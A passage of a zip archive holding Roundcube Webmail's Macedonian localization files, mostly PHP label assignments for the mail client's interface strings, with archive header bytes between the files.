$labels['tz:pacific:johnston'] = 'Џонстон';
$labels['tz:pacific:kiritimati'] = 'Киритимати';
$labels['tz:pacific:kosrae'] = 'Косрае';
$labels['tz:pacific:kwajalein'] = 'Кваџалејн';
$labels['tz:pacific:majuro'] = 'Маџуро';
$labels['tz:pacific:marquesas'] = 'Маркизки';
$labels['tz:pacific:midway'] = 'Мидвеј';
$labels['tz:pacific:nauru'] = 'Науру';
$labels['tz:pacific:niue'] = 'Ниуе';
$labels['tz:pacific:norfolk'] = 'Норфолк';
$labels['tz:pacific:noumea'] = 'Норфолк';
$labels['tz:pacific:pago_pago'] = 'Паго Паго';
$labels['tz:pacific:palau'] = 'Палау';
$labels['tz:pacific:pitcairn'] = 'Питкерн';
$labels['tz:pacific:pohnpei'] = 'Понпеј';
$labels['tz:pacific:port_moresby'] = 'Порт Морсби';
$labels['tz:pacific:rarotonga'] = 'Раротонга';
$labels['tz:pacific:saipan'] = 'Сајпан';
$labels['tz:pacific:tahiti'] = 'Тахити';
$labels['tz:pacific:tarawa'] = 'Тарава';
$labels['tz:pacific:tongatapu'] = 'Тонгатапу';
$labels['tz:pacific:wake'] = 'Островот Вејк';
$labels['tz:pacific:wallis'] = 'Валис';
PK
h�\�CH����%program/localization/mk_MK/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Добредојдовте во $product';
$labels['username'] = 'Корисничко име';
$labels['password'] = 'Лозинка';
$labels['server'] = 'Сервер';
$labels['login'] = 'Најава';
$labels['logout'] = 'Одјава';
$labels['mail'] = 'Е-пошта';
$labels['settings'] = 'Нагодувања';
$labels['addressbook'] = 'Именик';
$labels['inbox'] = 'Примени';
$labels['drafts'] = 'Непратени';
$labels['sent'] = 'Пратени';
$labels['trash'] = 'Корпа';
$labels['junk'] = 'Ѓубре';
$labels['show_real_foldernames'] = 'Прикажи ги вистинските имиња за специјалните папки ';
$labels['subject'] = 'Наслов';
$labels['from'] = 'Од';
$labels['sender'] = 'Праќач';
$labels['to'] = 'Примач';
$labels['cc'] = 'Копирај';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Препрати на';
$labels['followupto'] = 'Проследи до';
$labels['date'] = 'Датум';
$labels['size'] = 'Големина';
$labels['priority'] = 'Приоритет';
$labels['organization'] = 'Организација';
$labels['readstatus'] = 'Прочитај статус ';
$labels['listoptions'] = 'Опции на листа...';
$labels['mailboxlist'] = 'Папки';
$labels['messagesfromto'] = 'Писма од $from до $to од $count';
$labels['threadsfromto'] = 'Теми $од до $до на $брои';
$labels['messagenrof'] = 'Писмо $nr од $count';
$labels['fromtoshort'] = '$од - $до на $брои';
$labels['copy'] = 'Копирај';
$labels['move'] = 'Премести';
$labels['moveto'] = 'Премести во...';
$labels['copyto'] = 'Копирај во ...';
$labels['download'] = 'Преземи';
$labels['open'] = 'Отвори';
$labels['showattachment'] = 'Прикажи';
$labels['showanyway'] = 'Прикажи го во секој случај';
$labels['filename'] = 'Име на податотеката';
$labels['filesize'] = 'Големина на податотеката';
$labels['addtoaddressbook'] = 'Додај во именик';
$labels['sun'] = 'Нед';
$labels['mon'] = 'Пон';
$labels['tue'] = 'Вто';
$labels['wed'] = 'Сре';
$labels['thu'] = 'Чет';
$labels['fri'] = 'Пет';
$labels['sat'] = 'Саб';
$labels['sunday'] = 'Недела';
$labels['monday'] = 'Понеделник';
$labels['tuesday'] = 'Вторник';
$labels['wednesday'] = 'Среда';
$labels['thursday'] = 'Четврток';
$labels['friday'] = 'Петок';
$labels['saturday'] = 'Сабота';
$labels['jan'] = 'Јан';
$labels['feb'] = 'Фев';
$labels['mar'] = 'Мар';
$labels['apr'] = 'Апр';
$labels['may'] = 'Мај';
$labels['jun'] = 'Јун';
$labels['jul'] = 'Јул';
$labels['aug'] = 'Авг';
$labels['sep'] = 'Сеп';
$labels['oct'] = 'Окт';
$labels['nov'] = 'Ное';
$labels['dec'] = 'Дек';
$labels['longjan'] = 'Јануари';
$labels['longfeb'] = 'Февруари';
$labels['longmar'] = 'Март';
$labels['longapr'] = 'Април';
$labels['longmay'] = 'Мај';
$labels['longjun'] = 'Јуни';
$labels['longjul'] = 'Јули';
$labels['longaug'] = 'Август';
$labels['longsep'] = 'Септември';
$labels['longoct'] = 'Октомври';
$labels['longnov'] = 'Ноември';
$labels['longdec'] = 'Декември';
$labels['today'] = 'Денес';
$labels['refresh'] = 'Освежи';
$labels['checkmail'] = 'Провери пошта';
$labels['compose'] = 'Пиши ново писмо';
$labels['writenewmessage'] = 'Ново писмо';
$labels['reply'] = 'Врати ';
$labels['replytomessage'] = 'Одговори на испраќачот';
$labels['replytoallmessage'] = 'Одговори на испраќачот и сите примачи';
$labels['replyall'] = 'Одговори на сите';
$labels['replylist'] = 'Листа за одговарање';
$labels['forward'] = 'Препрати ';
$labels['forwardinline'] = 'Препрати во линија ';
$labels['forwardattachment'] = 'Препрати како ';
$labels['forwardmessage'] = 'Препрати писмо';
$labels['deletemessage'] = 'Избриши писмо';
$labels['movemessagetotrash'] = 'Премести ги писмата во Корпа';
$labels['printmessage'] = 'Испечати писмо';
$labels['previousmessage'] = 'Прикажи го претходното писмо';
$labels['firstmessage'] = 'Прикажи го првото писмо';
$labels['nextmessage'] = 'Прикажи го следното писмо';
$labels['lastmessage'] = 'Прикажи го последното писмо';
$labels['backtolist'] = 'Назад кон листа на писма';
$labels['viewsource'] = 'Покажи го изворот на писмото';
$labels['mark'] = 'Означи ';
$labels['markmessages'] = 'Обележи ги писмата';
$labels['markread'] = 'Како прочитани';
$labels['markunread'] = 'Како непрочитани';
$labels['markflagged'] = 'Како обележано';
$labels['markunflagged'] = 'Како необележано';
$labels['moreactions'] = 'Повекје акции...';
$labels['markallread'] = 'Означи ги сите како прочитани ';
$labels['folders-cur'] = 'Означи ја само папката ';
$labels['folders-sub'] = 'Означи ја папката и нејзините подпапки ';
$labels['folders-all'] = 'Сите папки';
$labels['more'] = 'Повеќе';
$labels['back'] = 'Назад';
$labels['options'] = 'Опции ';
$labels['first'] = 'Прво';
$labels['last'] = 'Последно';
$labels['previous'] = 'Претходно';
$labels['next'] = 'Следно';
$labels['select'] = 'Одбери';
$labels['all'] = 'Сите';
$labels['none'] = 'Ниедно';
$labels['currpage'] = 'Моменталната страница';
$labels['isread'] = 'Читај';
$labels['unread'] = 'Непрочитани';
$labels['flagged'] = 'Обележано';
$labels['unflagged'] = 'Не обележано';
$labels['unanswered'] = 'Неодговорено';
$labels['withattachment'] = 'Со додатоци';
$labels['deleted'] = 'Избришано';
$labels['undeleted'] = 'Не избришано ';
$labels['replied'] = 'Одговорено';
$labels['forwarded'] = 'Препратено';
$labels['invert'] = 'Обратно';
$labels['filter'] = 'Филтер';
$labels['list'] = 'Листа ';
$labels['threads'] = 'Теми ';
$labels['expand-all'] = 'Прошири ги сите ';
$labels['expand-unread'] = 'Прошири ги непрочитаните ';
$labels['collapse-all'] = 'Намали ги сите ';
$labels['threaded'] = 'Навојни ';
$labels['autoexpand_threads'] = 'Прошири ги теми пораките ';
$labels['do_expand'] = 'сите теми ';
$labels['expand_only_unread'] = 'само со непрочитани теми ';
$labels['fromto'] = 'Од/до ';
$labels['flag'] = 'Облежи';
$labels['attachment'] = 'Прилог';
$labels['nonesort'] = 'Ниедно';
$labels['sentdate'] = 'Дата на праќање ';
$labels['arrival'] = 'Дата на пристигање ';
$labels['asc'] = 'Растечки';
$labels['desc'] = 'Опаѓачки';
$labels['listcolumns'] = 'Список со колони ';
$labels['listsorting'] = 'Сортирање колони';
$labels['listorder'] = 'Ред на сортирање ';
$labels['listmode'] = 'Начин на преглед - листа ';
$labels['layout'] = 'Распоред ';
$labels['layoutwidescreen'] = 'Широк екран';
$labels['layoutdesktop'] = 'Работната површина';
$labels['layoutlist'] = 'Список';
$labels['folderactions'] = 'Акции на папка ';
$labels['compact'] = 'Компактно';
$labels['empty'] = 'Испразни';
$labels['importmessages'] = 'Внеси пораки';
$labels['quota'] = 'Искористен простор';
$labels['unknown'] = 'непознато';
$labels['unlimited'] = 'неограничено';
$labels['quotatype'] = 'Тип на квота ';
$labels['quotatotal'] = 'Лимит';
$labels['quotaused'] = 'Користени';
$labels['quotastorage'] = 'Простор на дискот';
$labels['quotamessage'] = 'Број пораки';
$labels['quicksearch'] = 'Брзо пребарување';
$labels['resetsearch'] = 'Ново пребарување';
$labels['searchmod'] = 'Модификатори на пребарувањето';
$labels['msgtext'] = 'Цело писмо';
$labels['body'] = 'Тело';
$labels['type'] = 'Тип';
$labels['namex'] = 'Име';
$labels['searchscope'] = 'Опсег';
$labels['currentfolder'] = 'Моментална папка ';
$labels['subfolders'] = 'Ова ги затвара подпапките ';
$labels['allfolders'] = 'Сите под папки ';
$labels['searchinterval-1W'] = 'постари од една недела ';
$labels['searchinterval-1M'] = 'постари од еден месец ';
$labels['searchinterval-1Y'] = 'постари од една година ';
$labels['searchinterval1W'] = 'помлади од една недела ';
$labels['searchinterval1M'] = 'помлади од еден месец ';
$labels['searchinterval1Y'] = 'помлади од една година ';
$labels['openinextwin'] = 'Отвори во нов прозорец';
$labels['emlsave'] = 'Преземи (.eml)';
$labels['changeformattext'] = 'Прикажи во обичен формат на текс ';
$labels['changeformathtml'] = 'Прикажи во HTML формат';
$labels['editasnew'] = 'Уреди како ново';
$labels['send'] = 'Прати';
$labels['sendmessage'] = 'Испрати сега';
$labels['savemessage'] = 'Зачувај го писмото во Непратени';
$labels['addattachment'] = 'Приложи податотека';
$labels['charset'] = 'Збир од знаци';
$labels['editortype'] = 'Тип на уредник';
$labels['returnreceipt'] = 'Врати';
$labels['dsn'] = 'известување за статусот на испорака';
$labels['mailreplyintro'] = 'На $дата,$праќач напиша:';
$labels['originalmessage'] = 'Оригинална порака';
$labels['selectimage'] = 'Селектирај слика ';
$labels['addimage'] = 'Додај слика ';
$labels['selectmedia'] = 'Селектирај филм';
$labels['addmedia'] = 'Додај филм ';
$labels['encrypt'] = 'Енкриптирај ';
$labels['encryptmessage'] = 'Енкриптирај порака ';
$labels['encryptmessagemailvelope'] = 'Енкриптирај порака  со Mailvelope ';
$labels['importpubkeys'] = 'Внеси јавни клучови ';
$labels['encryptedsendialog'] = 'Праќање енкриптирана порака ';
$labels['keyid'] = 'Клуч ID';
$labels['keylength'] = 'Битови ';
$labels['keyexpired'] = 'Истечено';
$labels['keyrevoked'] = 'Отповикан';
$labels['bccinstead'] = 'Користи Bcc';
$labels['insert'] = 'Внеси ';
$labels['recipient'] = 'Примач';
$labels['editidents'] = 'Уреди идентитети ';
$labels['spellcheck'] = 'Правопис';
$labels['checkspelling'] = 'Провери правопис';
$labels['resumeediting'] = 'Продолжи со уредување';
$labels['revertto'] = 'Врати на';
$labels['restore'] = 'Врати';
$labels['restoremessage'] = 'Врати порака?';
$labels['ignore'] = 'Игнорирај';
$labels['responses'] = 'Одговори';
$labels['insertresponse'] = 'Внеси одговор';
$labels['manageresponses'] = 'Менаџирај одговор';
$labels['newresponse'] = 'Создај нов одговор';
$labels['addresponse'] = 'додај одговор';
$labels['editresponse'] = 'Уреди одговор';
$labels['editresponses'] = 'Уреди одговори ';
$labels['responsename'] = 'Име ';
$labels['responsetext'] = 'Текст за одговор';
$labels['attach'] = 'Прикчи ';
$labels['attachments'] = 'Приложено';
$labels['upload'] = 'Подигни';
$labels['uploadprogress'] = '$процент($моментално од $вкупно)';
$labels['close'] = 'Затвори';
$labels['messageoptions'] = 'Опции на порака ';
$labels['togglecomposeoptions'] = 'Вклучи ги опциите за состав';
$labels['attachmentrename'] = 'Преименувај приврзување';
$labels['low'] = 'Низок';
$labels['lowest'] = 'Најнизок';
$labels['normal'] = 'Нормален';
$labels['high'] = 'Висок';
$labels['highest'] = 'Највисок';
$labels['nosubject'] = '(без наслов)';
$labels['showimages'] = 'Прикажи слики';
$labels['alwaysshow'] = 'Секогаш прикажувај ги сликите од $sender';
$labels['isdraft'] = 'Ова е нацрт-порака.';
$labels['andnmore'] = '$nr повеќе...';
$labels['togglemoreheaders'] = 'Прикажи повеќе заглавија на пораки';
$labels['togglefullheaders'] = 'Вклучи необработени заглавја на пораки ';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Обичен текст';
$labels['savesentmessagein'] = 'Сними го пратеното писмо во';
$labels['dontsave'] = 'не зачувувај';
$labels['maxuploadsize'] = 'Максималната дозволена големина за податотеката е $size';
$labels['addcc'] = 'Додај Cc';
$labels['addbcc'] = 'Додај Bcc';
$labels['addreplyto'] = 'Додај Одговори-на';
$labels['addfollowupto'] = 'Додај следење-до';
$labels['mdnrequest'] = 'Праќачот на оваа порака сака да биде известен кога ќе го прочитате писмото. Дали сакате да го известите?';
$labels['receiptread'] = 'Извести (прочитано)';
$labels['yourmessage'] = 'Ова е известување за вашата порака';
$labels['receiptnote'] = 'Напомена: Ова известување само потврдува дека писмото кое сте го пратиле е отворено. Не е гаранција дека примачот го прочитал или разбрал истото.';
$labels['name'] = 'Име за приказ';
$labels['firstname'] = 'Име';
$labels['surname'] = 'Презиме';
$labels['middlename'] = 'Средно име ';
$labels['nameprefix'] = 'Префикс ';
$labels['namesuffix'] = 'Суфикс ';
$labels['nickname'] = 'Прекар';
$labels['jobtitle'] = 'Назив на работа ';
$labels['department'] = 'Оддел';
$labels['gender'] = 'Пол';
$labels['maidenname'] = 'Моминско име';
$labels['email'] = 'Е-пошта';
$labels['phone'] = 'Телефон';
$labels['address'] = 'Адреса ';
$labels['street'] = 'Улица ';
$labels['locality'] = 'Град ';
$labels['zipcode'] = 'Поштенски код';
$labels['region'] = 'Држава / Провинција';
$labels['country'] = 'Земја';
$labels['birthday'] = 'Роденден';
$labels['anniversary'] = 'Годишнина';
$labels['website'] = 'Веб страна ';
$labels['instantmessenger'] = 'ИМ';
$labels['notes'] = 'Белешки';
$labels['male'] = 'Машки';
$labels['female'] = 'Зенски';
$labels['manager'] = 'Менаџер';
$labels['assistant'] = 'Асистент ';
$labels['spouse'] = 'Сопруг';
$labels['allfields'] = 'Сите полиња ';
$labels['search'] = 'Барај';
$labels['searchresult'] = 'Резултати од пребарување ';
$labels['advsearch'] = 'Напредно Пребарување';
$labels['advanced'] = 'Напредно';
$labels['other'] = 'Друго';
$labels['printcontact'] = 'Испринтај контакт ';
$labels['qrcode'] = 'QR Код';
$labels['typehome'] = 'Дома';
$labels['typework'] = 'Работа';
$labels['typeother'] = 'Друго';
$labels['typemobile'] = 'Мобилен ';
$labels['typemain'] = 'Главен ';
$labels['typehomefax'] = 'Домашен факс ';
$labels['typeworkfax'] = 'Службен факс ';
$labels['typecar'] = 'Кола ';
$labels['typepager'] = 'Пејџер';
$labels['typevideo'] = 'Видео ';
$labels['typeassistant'] = 'Асистент ';
$labels['typehomepage'] = 'Домашна страна ';
$labels['typeblog'] = 'Блог';
$labels['typeprofile'] = 'Профил ';
$labels['addfield'] = 'Додај поле';
$labels['addcontact'] = 'Додај контакт ';
$labels['editcontact'] = 'Уреди контакт';
$labels['contacts'] = 'Контакти ';
$labels['contactproperties'] = 'Својства ан контакти ';
$labels['contactnameandorg'] = 'Име и организација ';
$labels['personalinfo'] = 'Лични информаци';
$labels['personal'] = 'Лично';
$labels['contactphoto'] = 'Слика на контакт';
$labels['edit'] = 'Уреди';
$labels['cancel'] = 'Откажи';
$labels['save'] = 'Зачувај';
$labels['delete'] = 'Избриши';
$labels['discard'] = 'Отфрли';
$labels['rename'] = 'Преименувај';
$labels['addphoto'] = 'Додај';
$labels['replacephoto'] = 'Замени';
$labels['uploadphoto'] = 'Прикачи слика ';
$labels['newcontact'] = 'Креирај нов контакт ';
$labels['deletecontact'] = 'Избриши ги следните имиња';
$labels['composeto'] = 'Напиши порака за';
$labels['contactsfromto'] = 'Имиња од $from до $to од $count';
$labels['print'] = 'Испечати';
$labels['export'] = 'Извези како';
$labels['exportall'] = 'Премести се ';
$labels['exportsel'] = 'Премести селектирани ';
$labels['exportvcards'] = 'Извези ги контактите во vCard формат';
$labels['newgroup'] = 'Создај нова група ';
$labels['addgroup'] = 'Додај група ';
$labels['grouprename'] = 'Преименувај група ';
$labels['groupdelete'] = 'Ибриши група ';
$labels['groupremoveselected'] = 'Избриши селектирани контакти од групата';
$labels['uponelevel'] = 'Едно ниво горе';
$labels['previouspage'] = 'Прикажи претходна страна';
$labels['firstpage'] = 'Прикажи ја првата страна';
$labels['nextpage'] = 'Прикажи ја следната страна';
$labels['lastpage'] = 'Прикажи ја последната страна';
$labels['group'] = 'Група ';
$labels['groups'] = 'Групи';
$labels['listgroup'] = 'Листа на членови на групата ';
$labels['personaladrbook'] = 'Лични адреси';
$labels['searchsave'] = 'Зачувај пребарување ';
$labels['searchdelete'] = 'Избриши пребарување ';
$labels['import'] = 'Увези';
$labels['importcontacts'] = 'Увези контакти';
$labels['importtarget'] = 'Додај контакти во ';
$labels['importreplace'] = 'Замени го целиот именик';
$labels['importgroups'] = 'Внеси задачи за група ';
$labels['importgroupsall'] = 'Сите (создај групи ако е потребно)';
$labels['importgroupsexisting'] = 'Само за постоечки групи ';
$labels['done'] = 'Завршено';
$labels['settingsfor'] = 'Нагодувања за';
$labels['about'] = 'За ';
$labels['preferences'] = 'Нагодувања';
$labels['userpreferences'] = 'Кориснички нагодувања';
$labels['editpreferences'] = 'Промени кориснички нагодувања';
$labels['identities'] = 'Идентитети';
$labels['manageidentities'] = 'Менаџирај идентитети ';
$labels['newidentity'] = 'Создај нов идентитет ';
$labels['addidentity'] = 'Додај нов идентитет';
$labels['editidentity'] = 'Уреди идентитет';
$labels['preferhtml'] = 'Прикажи во HTML';
$labels['defaultcharset'] = 'Стандарден сет на карактери ';
$labels['htmlmessage'] = 'HTML писмо';
$labels['messagepart'] = 'Дел ';
$labels['digitalsig'] = 'Дигитален потпис ';
$labels['dateformat'] = 'Дата формат ';
$labels['timeformat'] = 'Формат на време ';
$labels['prettydate'] = 'Убави датуми';
$labels['setdefault'] = 'Постави за основно';
$labels['autodetect'] = 'Автоматски';
$labels['language'] = 'Јазик';
$labels['timezone'] = 'Часовна зона';
$labels['pagesize'] = 'Редови по страна';
$labels['signature'] = 'Потпис';
$labels['dstactive'] = 'Промени на времето';
$labels['showinextwin'] = 'Отвори порака во нов прозорец ';
$labels['composeextwin'] = 'Компонирај во нов прозорец';
$labels['htmleditor'] = 'Пиши HTML порака';
$labels['htmlonreply'] = 'на одговор до HTML порака ';
$labels['htmlonreplyandforward'] = 'на препраќање или одговор до HTML порака ';
$labels['htmlsignature'] = 'HTML потпис';
$labels['showemail'] = 'Покажи email адреса со име на екран ';
$labels['previewpane'] = 'Прикажи прозорец за преглед';
$labels['skin'] = 'Модел на изгледот';
$labels['logoutclear'] = 'Исчисти ја Кантата при излез';
$labels['logoutcompact'] = 'Подреди ги примените при излез';
$labels['uisettings'] = 'Кориснички изглед';
$labels['serversettings'] = 'Нагодувања на серверот';
$labels['mailboxview'] = 'Приказ на поштенското сандаче';
$labels['mdnrequests'] = 'Известувања за праќачот';
$labels['askuser'] = 'прашај го корисникот';
$labels['autosend'] = 'испрати автоматски';
$labels['autosendknown'] = 'прати примач до моите контакти, инаку прашај ме ';
$labels['autosendknownignore'] = 'прати примач до моите контакти, инаку игнорирај ';
$labels['ignorerequest'] = 'игнорирај барање ';
$labels['readwhendeleted'] = 'Обележи го писмото како прочитано при бришење';
$labels['flagfordeletion'] = 'Обележи го писмото за бришење наместо да го избришеш';
$labels['skipdeleted'] = 'Не ги прикажувај избришаните писма';
$labels['deletealways'] = 'Ака преместувањето на пораките до ѓубрето не успее, избриши ги ';
$labels['deletejunk'] = 'Дирктно избриши пораки во ѓубре';
$labels['showremoteimages'] = 'Прикажи вметнати слики';
$labels['fromknownsenders'] = 'од познати праќачи';
$labels['always'] = 'секогаш';
$labels['alwaysbutplain'] = 'секогаш, освен при одговарање на обичен текст ';
$labels['showinlineimages'] = 'Прикажи приложени слики под писмото';
$labels['autosavedraft'] = 'Авоматски зачувувај во Непратени';
$labels['everynminutes'] = 'секои $n минути';
$labels['refreshinterval'] = 'Освежи(провери за нови пораки, и сл.)';
$labels['never'] = 'никогаш';
$labels['immediately'] = 'Веднаш';
$labels['messagesdisplaying'] = 'Прикажување на писма';
$labels['messagescomposition'] = 'Пишување на писма';
$labels['mimeparamfolding'] = 'Име на прикачените податотеки';
$labels['2231folding'] = 'Полн RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Полн RFC 2047 (друго)';
$labels['force7bit'] = 'Користи MIME кодирање за 8-битни карактери ';
$labels['savelocalstorage'] = "Зачувајте во локалното складирање на прелистувачот (привремено)";
$labels['advancedoptions'] = 'Напредни можности';
$labels['toggleadvancedoptions'] = 'Вклучи напредни опции ';
$labels['focusonnewmessage'] = 'Фокусирај го прозорецот на прелистувачот на новото писмо';
$labels['checkallfolders'] = 'Провери ги сите папки за нови писма';
$labels['defaultfont'] = 'Стандарден фонд на  HTML пораки ';
$labels['mainoptions'] = 'Главни можности';
$labels['browseroptions'] = 'Опции на прелистувач';
$labels['section'] = 'Заглавие';
$labels['maintenance'] = 'Одржување';
$labels['newmessage'] = 'Ново писмо';
$labels['signatureoptions'] = 'Можности за потписот';
$labels['whenreplying'] = 'При одговарање';
$labels['replyempty'] = 'Не ја цитирајте оригиналната порака';
$labels['replytopposting'] = 'новото писмо започни го над оригиналот';
$labels['replytoppostingnoindent'] = 'почни нова порака над цитатот (без вовлекување)';
$labels['replybottomposting'] = 'новото писмо започни го под оригиналот';
$labels['replyremovesignature'] = 'При одговарање отстрани го изворниот потпис од писмото';
$labels['autoaddsignature'] = 'Автоматски додавај потпис';
$labels['newmessageonly'] = 'само нови писма';
$labels['replyandforwardonly'] = 'само одгорови и препраќања';
$labels['insertsignature'] = 'Вметни потпис';
$labels['sigbelow'] = 'Стави потпис под цитираната порака ';
$labels['sigseparator'] = 'Форсирај стандарден одделувач во потписите';
$labels['afternseconds'] = 'после $n секунди ';
$labels['reqmdn'] = 'Секогаш побарај повратна порака ';
$labels['reqdsn'] = 'Секогаш барајте известување за статусот на испорака';
$labels['replysamefolder'] = 'Поставете ги одговорите во папката на пораката на која е одговорено';
$labels['defaultabook'] = 'Стандардна книга на адреси';
$labels['autocompletesingle'] = 'Сконки алтернативни email адреси во автоматско довршување ';
$labels['listnamedisplay'] = 'Листа на контакти како ';
$labels['spellcheckbeforesend'] = 'Провери правопис пред испраќање на порака ';
$labels['spellcheckoptions'] = 'Опции за проверка на правопис';
$labels['spellcheckignoresyms'] = 'Игнорирај зборови со симболи';
$labels['spellcheckignorenums'] = 'Игнорирај зборови со броеви ';
$labels['spellcheckignorecaps'] = 'Игнорирај зборови со сите големи букви';
$labels['addtodict'] = 'Додај во речник';
$labels['mailtoprotohandler'] = 'Регистрирај управувач на протокол за mailto: линкови';
$labels['standardwindows'] = 'Справи се со скокачки прозори како обични прозори ';
$labels['forwardmode'] = 'пораката се препраќа';
$labels['inline'] = 'во линија';
$labels['asattachment'] = 'како додаток';
$labels['replyallmode'] = 'Стандардна акција од [Одговори на сите] копче ';
$labels['replyalldefault'] = 'одговори на сите ';
$labels['replyalllist'] = 'Одговори само на мејлинг листа (ако е пронајдена)';
$labels['allmessages'] = 'Сите пораки ';
$labels['folder'] = 'Папка';
$labels['folders'] = 'Папки';
$labels['foldername'] = 'Име на папката';
$labels['subscribed'] = 'Претплатен';
$labels['messagecount'] = 'Пораки';
$labels['create'] = 'Создај';
$labels['createfolder'] = 'Создај нова папка';
$labels['managefolders'] = 'Организирање на папки';
$labels['specialfolders'] = 'Специјални папки';
$labels['properties'] = 'Својства ';
$labels['folderproperties'] = 'Својства на папка ';
$labels['parentfolder'] = 'Родител папка ';
$labels['location'] = 'Локација ';
$labels['info'] = 'Информација ';
$labels['getfoldersize'] = 'Кликни за да ја добиеш големината на папката';
$labels['changesubscription'] = 'Кликни за да сменисх претплата ';
$labels['foldertype'] = 'Тип на папка ';
$labels['personalfolder'] = 'Приватна папка ';
$labels['otherfolder'] = 'Папка на други корисници';
$labels['sharedfolder'] = 'Јавна папка ';
$labels['findfolders'] = 'Најди папки ';
$labels['namespace.personal'] = 'Лично';
$labels['namespace.other'] = 'Други корисници';
$labels['namespace.shared'] = 'Споделено';
$labels['sortby'] = 'Сортирај по';
$labels['sortasc'] = 'Сортирај нагорно';
$labels['sortdesc'] = 'Сортирај надолно';
$labels['undo'] = 'Врати ';
$labels['installedplugins'] = 'Инсталирани прикличоци ';
$labels['plugin'] = 'Прикличоци ';
$labels['version'] = 'Верзии ';
$labels['source'] = 'Извор';
$labels['license'] = 'Лиценца';
$labels['support'] = 'Добиј подршка ';
$labels['B'] = 'Б';
$labels['KB'] = 'КБ';
$labels['MB'] = 'МБ';
$labels['GB'] = 'ГБ';
$labels['unicode'] = 'Уникод';
$labels['english'] = 'Англиски ';
$labels['westerneuropean'] = 'Западно европски';
$labels['easterneuropean'] = 'Источно европски ';
$labels['southeasterneuropean'] = 'Југо-источно европски';
$labels['baltic'] = 'Балтички ';
$labels['cyrillic'] = 'Кириличен';
$labels['arabic'] = 'Арапски';
$labels['greek'] = 'Грчки';
$labels['hebrew'] = 'Еврејски';
$labels['turkish'] = 'Турски';
$labels['nordic'] = 'Нордиски';
$labels['thai'] = 'Тајландски';
$labels['celtic'] = 'Селтик';
$labels['vietnamese'] = 'Виетнамски';
$labels['japanese'] = 'Јапонски';
$labels['korean'] = 'Корејски';
$labels['chinese'] = 'Кинески';
$labels['arialabeltopnav'] = 'Контрола на прозорец ';
$labels['arialabeltasknav'] = 'Задачи на апликацијата ';
$labels['arialabeltoolbar'] = 'Лента со алатки на апликацијата ';
$labels['arialabelactivetask'] = 'Активни задачи ';
$labels['arialabelmessagessearchfilter'] = 'Филтер за прелистување на е-пошта';
$labels['arialabelmailsearchform'] = 'Форма на пребарување на е-пошта ';
$labels['arialabelcontactsearchform'] = 'Форма на пребарување контакти ';
$labels['arialabelmailquicksearchbox'] = 'Внес на е-пошта пребарување';
$labels['arialabelquicksearchbox'] = 'Пребарување влез';
$labels['arialabelfoldersearchfilter'] = 'Филтер за листата со папки';
$labels['arialabelfoldersearchform'] = 'Форма за пребарување папки ';
$labels['arialabelfolderlist'] = 'Селекција на е-маил папки ';
$labels['arialabelmessagelist'] = 'Листа на пораки за е-пошта';
$labels['arialabelmailpreviewframe'] = 'Преглед на порака';
$labels['arialabelmailboxmenu'] = 'Мени за дејства на папките';
$labels['arialabellistselectmenu'] = 'Мени за избор на листа';
$labels['arialabelthreadselectmenu'] = 'Мени за листа на теми';
$labels['arialabelmessagelistoptions'] = 'Приказ на листа на пораки и опции за сортирање ';
$labels['arialabelmailimportdialog'] = 'Дијалог за внес на порака ';
$labels['arialabelmessagenav'] = 'Навигација за пораки';
$labels['arialabelmessagebody'] = 'Тело на порака';
$labels['arialabelmessageactions'] = 'Акции за порака';
$labels['arialabelcontactquicksearch'] = 'Форма за барање контакти ';
$labels['arialabelcontactsearchbox'] = 'Влез за пребарување контакти ';
$labels['arialabelmessageheaders'] = 'Заглавја на порака ';
$labels['arialabelforwardingoptions'] = 'Опции за препраќање ';
$labels['arialabelreplyalloptions'] = 'Опции за Врати на сите ';
$labels['arialabelmoremessageactions'] = 'Повеке акции за порака ';
$labels['arialabelmarkmessagesas'] = 'Означи ги селектираните пораки како...';
$labels['arialabelcomposeoptions'] = 'Опции за композиција';
$labels['arialabelresponsesmenu'] = 'Мени за одобрени одговори';
$labels['arialabelattachmentuploadform'] = 'Форма за прикачени додатоци ';
$labels['arialabelattachmentpreview'] = 'Преглед на додатоци ';
$labels['ariasummarycomposecontacts'] = 'Листа на контакти и групи  за да се селектираат како примачи  ';
$labels['arialabelcontactexportoptions'] = 'опции за изнес на контакти ';
$labels['arialabelabookgroupoptions'] = 'Опции за Адресар/група';
$labels['arialabelpreferencesform'] = 'Форма на преференции';
$labels['arialabelidentityeditfrom'] = 'Форма за едитирање идентитети ';
$labels['arialabelresponseeditfrom'] = 'Форма за едитирање на одговори ';
$labels['arialabelsearchterms'] = 'Термини за пребарување';
$labels['helplistnavigation'] = 'Листа со навигација на тастатура ';
$labels['helplistkeyboardnavigation'] = "Стрелки горе/доле: Помести фокус на ред/селекција.
Спејс: Селектирај фокусиран ред.
Шифт + горе/доле: Селектирај додатен ред над/под.
Цтрл + Спејс: Додај го фокусираниот ред во селекцијата/тргни го од селекцијата.";
$labels['helplistkeyboardnavmessages'] = "Стрелки десно/лево: прошири/собери теми на порака (само во теми модул).
Ентер: Отвори ја селектираната/фокусираната порака.
Избриши: Премести ја селектираната порака во ѓубрето.";
$labels['helplistkeyboardnavcontacts'] = "Ентер: Отвори го селектираниот/фокусираниот контакт.";
PK
h�\]>��S�S'program/localization/mk_MK/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Настана грешка!';
$messages['loginfailed']  = 'Најавата не успеа';
$messages['cookiesdisabled'] = 'Вашиот прелистувач не прифаќа колачиња';
